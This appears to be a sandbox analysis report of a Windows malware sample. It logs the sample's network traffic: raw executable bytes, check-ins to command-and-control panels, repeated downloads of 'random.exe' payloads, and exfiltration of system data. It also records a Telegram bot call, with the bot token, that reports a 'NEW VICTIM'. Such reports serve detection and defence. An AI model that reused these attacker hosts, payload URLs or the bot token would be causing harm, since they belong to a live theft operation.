00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 17:17:07 GMTContent-Type: application/octet-streamContent-Length: 22016Last-Modified: Thu, 19 Dec 2024 14:25:14 GMTConnection: keep-aliveETag: "67642cca-5600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 66 0f 37 94 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 4c 00 00 00 08 00 00 00 00 00 00 8e 6a 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c 6a 00 00 4f 00 00 00 00 80 00 00 ac 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 a8 69 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 94 4a 00 00 00 20 00 00 00 4c 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 ac 05 00 00 00 80 00 00 00 06 00 00 00 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 00 00 00 02 00 00 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 6a 00 00 00 00 00 00 48 00 00 00 02 00 05 00 28 37 00 00 80 32 00 00 03 00 02 00 1b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 02 00 38 00 00 00 01 00 00 11 73 2f 00 00 06 0a 06 28 16 00 00 0a 7d 20 00 00 04 06 02 7d 21 00 00 04 06 15 7d 1f 00 00 04 06 7c 20 00 00 04 12 00 28 01 00 00 2b 06 7c 20 00 00 04 28 18 00 00 0a 2a 13 30 02 00 50 00 00 00 02 00 00 11 00 7e 02 00 00 04 16 fe 01 0a 06 2c 42 00 72 01 00 00 70 28 19 00 00 0a 00 72 84 00 00 70 28 19 00 00 0a 00 28 05 00 00 06 0b 72 ca 00 00 70 07 28 1a 00 00 0a 28 19 00 00 0a 00 07 28 04 00 00 06 6f 1b 00 00 0a 00 16 28 1c 00 00 0a 00 00 2a 13 30 02 00 38 00 00 00 03 00 00 11 73 32 00 00 06 0a 06 28 16 00 00 0a 7d 28 00 00 04 06 02 7d 29 00 00 04 06 15 7d 27 00 00 04 06 7c 28 00 00 04 12 00 28 02 00 00 2b 06 7c 28 00 00 04 28 18 00 00 0a 2a 13 30 05 00 48 00 00 00 04 00 00 11 00 73 1d 00 00 0a 0a 1a 8d 2f 00 00 01 0b 16 0c 2b 1c 00 07 08 7e 03 00 00 04 06 7e 03 00 00 04 8e 69 6f 1e 00 00 0a 9a a2 00 08 17 58 0c 08 1a fe 04 0d 09 2d dc 72 f0 00 00 70 07 28 1f 00 00 0a 13 04 2b 00 11 04 2a 13 30 02 00 16

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 35 42 34 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A75B45A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/geopoxid/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 35 32 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019522001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/zhigarko/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 35 32 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019523001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/kardanvalov88/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 35 32 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019524001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 35 32 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019525001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 35 32 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019526001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/loadman/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /zldPRFrmVFHTtKntGpOv1734579851 HTTP/1.1Host: home.fivetk5ht.topAccept: /Content-Type: application/jsonContent-Length: 441903Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 38 30 31 34 31 36 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 35 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 35 32 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019527001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /files/karl/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /zldPRFrmVFHTtKntGpOv1734579851?argument=uKsqdVCOyF9DZVCd1734801424 HTTP/1.1Host: home.fivetk5ht.topAccept: /
Source: global traffic	HTTP traffic detected: GET /files/karl/random.exe HTTP/1.1Host: 31.41.244.11If-Modified-Since: Thu, 19 Dec 2024 14:25:14 GMTIf-None-Match: "67642cca-5600"

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.121.15.192 185.121.15.192

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown

DNS query: name: ipinfo.io

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49770 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49787 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49789 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49788 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49795 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49808 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49805 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49812 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49826 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49819 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49828 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49841 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49866 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49893 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49922 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49925 -> 172.67.180.113:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cheapptaxysu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=gtWVZEsnoKufsWg8Bg366wpUwxeEG0nAGLM7SEqKKTg-1734801378-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 50Host: cheapptaxysu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=VJVG5XOVPCVA4HARCookie: __cf_mw_byp=gtWVZEsnoKufsWg8Bg366wpUwxeEG0nAGLM7SEqKKTg-1734801378-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18154Host: cheapptaxysu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=CW0BCOOZ3Cookie: __cf_mw_byp=gtWVZEsnoKufsWg8Bg366wpUwxeEG0nAGLM7SEqKKTg-1734801378-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8733Host: cheapptaxysu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=WEH1N54GAQPRCookie: __cf_mw_byp=gtWVZEsnoKufsWg8Bg366wpUwxeEG0nAGLM7SEqKKTg-1734801378-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20404Host: cheapptaxysu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=2WLYPW00T2A9ZAC6Cookie: __cf_mw_byp=gtWVZEsnoKufsWg8Bg366wpUwxeEG0nAGLM7SEqKKTg-1734801378-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1268Host: cheapptaxysu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=DZCYSGDD3A59JCookie: __cf_mw_byp=gtWVZEsnoKufsWg8Bg366wpUwxeEG0nAGLM7SEqKKTg-1734801378-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 549929Host: cheapptaxysu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=gtWVZEsnoKufsWg8Bg366wpUwxeEG0nAGLM7SEqKKTg-1734801378-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 85Host: cheapptaxysu.click

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00DAE0C0 recv,recv,recv,recv,

0_2_00DAE0C0

Source: global traffic	HTTP traffic detected: GET /uc?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download HTTP/1.1User-Agent: FileDownloaderHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download HTTP/1.1User-Agent: FileDownloaderHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download HTTP/1.1User-Agent: FileDownloaderCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download HTTP/1.1User-Agent: FileDownloaderCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1User-Agent: IPInfoFetcherHost: ipinfo.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /bot7855878545:AAEEMUvgpX9jTAxlDd2gM_Sbv2jbI6-5_0o/sendMessage?chat_id=7427009775&text=%3Cb%3E%F0%9F%94%94NEW%20VICTIM%20%2D%20Extensions%20Installed%3C%2Fb%3E%0A%3Cb%3EIP%20Address%3A%3C%2Fb%3E%208%2E46%2E123%2E189%0A%3Cb%3EDevice%20Name%3A%3C%2Fb%3E%20965543%0A%3Cb%3ELocation%3A%3C%2Fb%3E%20New%20York%20City%2C%20New%20York%2C%20US%0A%3Cb%3EWallets%3A%3C%2Fb%3E%0A%3Ccode%3ENothing%20found%3C%2Fcode%3E&parse_mode=HTML HTTP/1.1User-Agent: TelegramBotHost: api.telegram.orgCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1User-Agent: IPInfoFetcherHost: ipinfo.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /bot7855878545:AAEEMUvgpX9jTAxlDd2gM_Sbv2jbI6-5_0o/sendMessage?chat_id=7427009775&text=%3Cb%3E%F0%9F%94%94NEW%20VICTIM%20%2D%20Extensions%20Installed%3C%2Fb%3E%0A%3Cb%3EIP%20Address%3A%3C%2Fb%3E%208%2E46%2E123%2E189%0A%3Cb%3EDevice%20Name%3A%3C%2Fb%3E%20965543%0A%3Cb%3ELocation%3A%3C%2Fb%3E%20New%20York%20City%2C%20New%20York%2C%20US%0A%3Cb%3EWallets%3A%3C%2Fb%3E%0A%3Ccode%3ENothing%20found%3C%2Fcode%3E&parse_mode=HTML HTTP/1.1User-Agent: TelegramBotHost: api.telegram.orgCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /files/geopoxid/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/zhigarko/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/kardanvalov88/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/loadman/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/karl/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /zldPRFrmVFHTtKntGpOv1734579851?argument=uKsqdVCOyF9DZVCd1734801424 HTTP/1.1Host: home.fivetk5ht.topAccept: /
Source: global traffic	HTTP traffic detected: GET /files/karl/random.exe HTTP/1.1Host: 31.41.244.11If-Modified-Since: Thu, 19 Dec 2024 14:25:14 GMTIf-None-Match: "67642cca-5600"

Source: 6eea3e30e9.exe, 0000000D.00000003.2601864727.000001FED9297000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 4-1b5020b1c2a0"},"nmmhkkegccagdldgiimedpiccmgmieda":{"cohort":"1::","cohortname":"","dlrc":6120,"installdate":6120,"pf":"dcb37f49-aa68-4ebc-a8d4-14eaa556e331"}}},"web_app":{"app_id":{"install_url":{"aghbiahbpaijignceidepookljebhfak":["https://drive.google.com/drive/installwebapp?usp=chrome_default"],"agimnkijcaahngcdmfeangaknmldooml":["https://www.youtube.com/s/notifications/manifest/cr_install.html"],"fhihpiojkbmbpdjeoajapmgkhlnakfjf":["https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default"],"fmgjjmmmlfnkbppncabfkddbjimcfncm":["https://mail.google.com/mail/installwebapp?usp=chrome_default"],"kefjledonklijopmnomlcbpllchaibag":["https://docs.google.com/presentation/installwebapp?usp=chrome_default"],"mpnpojknpmmopombnjdcgaaiekajbnjb":["https://docs.google.com/document/installwebapp?usp=chrome_default"]}}},"web_apps":{"did_migrate_default_chrome_apps":["MigrateDefaultChromeAppToWebAppsGSuite","MigrateDefaultChromeAppToWebAppsNonGSuite"],"last_preinstall_synchronize_version":"117","migrated_default_apps":["aohghmighlieiainnegkcijnfilokake","aapocclcgogkmnckokdopfmhonfmgoek","felcaaldnbdncclmgdcncolpebgiejap","apdfllckaahabafndbhieahigkjlhalf","pjkljhegncpnkpknbcohdijeoejaedia","blpcfgokakmgnkcojhhkbfbldkacnbeo"]},"zerosuggest":{"cachedresults":")]}'\n[\"\",[\"one piece chapter 1094 spoilers twitter\",\"baltimore drinking water parasites\",\"assassin creed mirage release\",\"rwd tesla model y\",\"michigan hockey johnny druskinis\",\"loki season 2 jonathan majors\",\"google pixel 8 pro leaks\",\"amazon prime deals prime 